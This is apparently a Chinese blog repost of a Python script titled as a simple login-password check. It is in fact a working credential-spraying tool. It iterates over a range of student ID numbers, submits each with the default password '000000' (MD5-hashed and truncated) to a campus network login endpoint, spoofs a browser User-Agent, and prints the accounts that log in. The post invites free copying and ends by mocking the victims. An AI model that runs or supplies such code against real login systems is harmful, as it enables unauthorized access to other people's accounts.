Python简单登录密码比对

# 源于Github的一段源码,编写的比较规范,应该是专业选手!

# encoding:utf-8
__author__ = 'www.yeayee.com' # 由本站增加注释,可随意Fork、Copy

import requests  # 用来请求网络的模块
import hashlib  # 用来加密的模块

# 登录页的url
url = 'http://10.0.0.55/cgi-bin/do_login'
# 有些网站反爬虫,这里用headers把程序伪装成浏览器
# 部分网站如果登陆实在难以搞定,那么用cookie也是极好的
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36'}

def md5(str):
    # md5加密
    m = hashlib.md5()
    m.update(str)
    return m.hexdigest()


def login(form_data):
    # 网址请求并获取内容
    s = requests.session()
    response = s.post(url, data=form_data, headers=header)
    return response.content


def tryAccount(id_start, id_end, default_pass):
    # 登录需要提交的表单,格式为字典
    form_data = {'username': 'XXXXXX',  # 填入网站的用户名
                 'password': 'XXXXXX',  # 填入网站密码(加密后的),这两行会被随后的命令赋值,因此可以省略
                 'drop': 0,
                 'type': 1,
                 'n': 100
                 }

    passwd = md5(default_pass)[8:24]
    form_data['password'] = passwd  # 将加密后的密码填入表单

    for i in range(id_start, id_end):
        form_data['username'] = str(i)  # 将用户名填入表单
        result = login(form_data)  # 登录,获取返回的 response 结果
        if result != 'password_error' and result != 'username_error':
            print (str(i) + "\t" + result)  # 打印账号、密码正确的学号...
    print("\n上网不设密,活该被破解!")


if __name__ == "__main__":
    ID_START = 1120130000  # 起始学号
    ID_END = 1120131000  # 结束学号1000测试号码
    DEFAULT_PASS = "000000"  # 初始密码
    tryAccount(ID_START, ID_END, DEFAULT_PASS)

 

posted on 2016-02-04 08:37  yeayee  阅读(874)  评论(0编辑  收藏  举报